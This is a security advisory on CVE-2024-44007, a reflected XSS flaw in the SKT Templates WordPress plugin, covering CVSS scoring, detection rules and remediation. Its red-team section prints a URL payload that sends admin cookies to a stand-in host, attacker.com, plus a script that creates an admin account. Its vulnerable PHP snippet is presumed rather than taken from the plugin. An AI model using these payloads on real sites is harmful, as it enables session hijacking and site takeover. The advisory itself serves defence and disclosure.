CVE-2024-44007

Executive Summary

CVE-2024-44007 is a reflected Cross-Site Scripting (XSS) vulnerability in the SKT Templates – Elementor & Gutenberg templates WordPress plugin, developed by Sktthemes. The flaw exists in versions up to and including 6.14, where user-supplied input is not properly neutralized during web page generation. An unauthenticated attacker can craft a malicious URL that, when visited by a logged-in administrator or editor, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, or privilege escalation within the WordPress admin panel.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is used to provide pre-built templates for Elementor and Gutenberg page builders, making it a common target for supply-chain attacks against WordPress sites.

Supply Chain & Package Security

This vulnerability is distributed via the official WordPress plugin repository. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the WordPress plugin update mechanism. However, if the plugin is bundled in commercial themes or managed WordPress environments, the risk propagates downstream. No known patch exists, so users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact crosses trust boundaries)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the low complexity and no authentication requirement. Although user interaction is needed, social engineering (e.g., phishing emails) can easily trick administrators into clicking the malicious link.

Deep Dive & Mechanics

The vulnerability resides in the skt-templates plugin's handling of URL parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTTP response. Specifically, a parameter such as ?page=skt-templates&tab=... is echoed back without proper encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker crafts a URL: https://victim-site.com/wp-admin/admin.php?page=skt-templates&tab=<script>alert('XSS')</script>
2. Victim (logged-in WordPress admin) clicks the link.
3. The plugin processes the tab parameter and reflects it in the page output.
4. The injected script executes in the victim's browser, potentially stealing cookies, creating admin accounts, or modifying site content.

The vulnerability is classified as Reflected XSS (CWE-79) because the payload is not stored on the server but is immediately reflected in the response.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main PHP file (e.g., skt-templates.php). A typical vulnerable pattern would be:

// Vulnerable code (example)
$tab = $_GET['tab'];
echo '<div class="tab-content">' . $tab . '</div>';

A patched version would use WordPress's built-in escaping functions:

// Patched code (example)
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : '';
echo '<div class="tab-content">' . esc_html($tab) . '</div>';

The esc_html() function ensures that any HTML tags are encoded, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with SKT Templates plugin version <= 6.14.
• A logged-in administrator account (target).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., tab).
2. Craft a payload that steals the admin's session cookie:

   https://victim-site.com/wp-admin/admin.php?page=skt-templates&tab=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

3. Send the link to the admin via email or social engineering.
4. On the attacker's server, steal.php logs the cookie.

Example payload for privilege escalation:

<script>
fetch('/wp-admin/admin-ajax.php?action=create_admin&user=attacker&pass=evilpass');
</script>

(Note: This requires a vulnerable AJAX endpoint; adjust based on actual plugin functionality.)

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags in the tab parameter.
• Use WAF rules to block reflected XSS patterns.

Lab Setup:

1. Install WordPress locally (e.g., using Docker).
2. Install SKT Templates plugin version 6.14.
3. Create a test admin user.
4. Simulate the attack by visiting the crafted URL and observing the XSS alert.

Mitigation in Lab:

• Apply a virtual patch using a WAF (e.g., ModSecurity) to block tab parameter values containing <script>.

Indicators of Compromise (IOCs)

• URL Pattern: admin.php?page=skt-templates&tab=<script>...
• HTTP Request: GET request to /wp-admin/admin.php with page=skt-templates and a tab parameter containing HTML/JavaScript.
• Log Entry: GET /wp-admin/admin.php?page=skt-templates&tab=%3Cscript%3E...
• Cookie Theft: Outbound connections to attacker-controlled domains from the WordPress admin panel.
• File Changes: Unexpected admin user creation or plugin modifications.

Detection Engineering

YARA Rule

rule CVE_2024_44007_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against SKT Templates plugin"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-44007"
    strings:
        $url_pattern = /admin\.php\?page=skt-templates&tab=.*<script/i
        $payload = /<script[^>]*>.*<\/script>/i
    condition:
        $url_pattern and $payload
}

Sigma Rule

title: Reflected XSS in SKT Templates Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with reflected XSS payloads targeting the SKT Templates plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page=skt-templates'
        cs-uri-query|re: 'tab=.*<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin pages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44007 Reflected XSS in SKT Templates"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=skt-templates"; http_uri; pcre:"/tab=.*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released. Navigate to Plugins > Installed Plugins and deactivate "SKT Templates".
2. Apply a Web Application Firewall (WAF) rule to block requests containing <script> in the tab parameter.
3. Educate administrators about phishing attacks that exploit this vulnerability.

Long-Term Fix:

• Monitor the plugin's official page for a patched version (>= 6.15).
• If the vendor does not respond, consider forking the plugin and applying the fix manually (add esc_html() to all reflected parameters).
• Replace the plugin with an alternative template provider.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for known XSS patterns.

Valters IT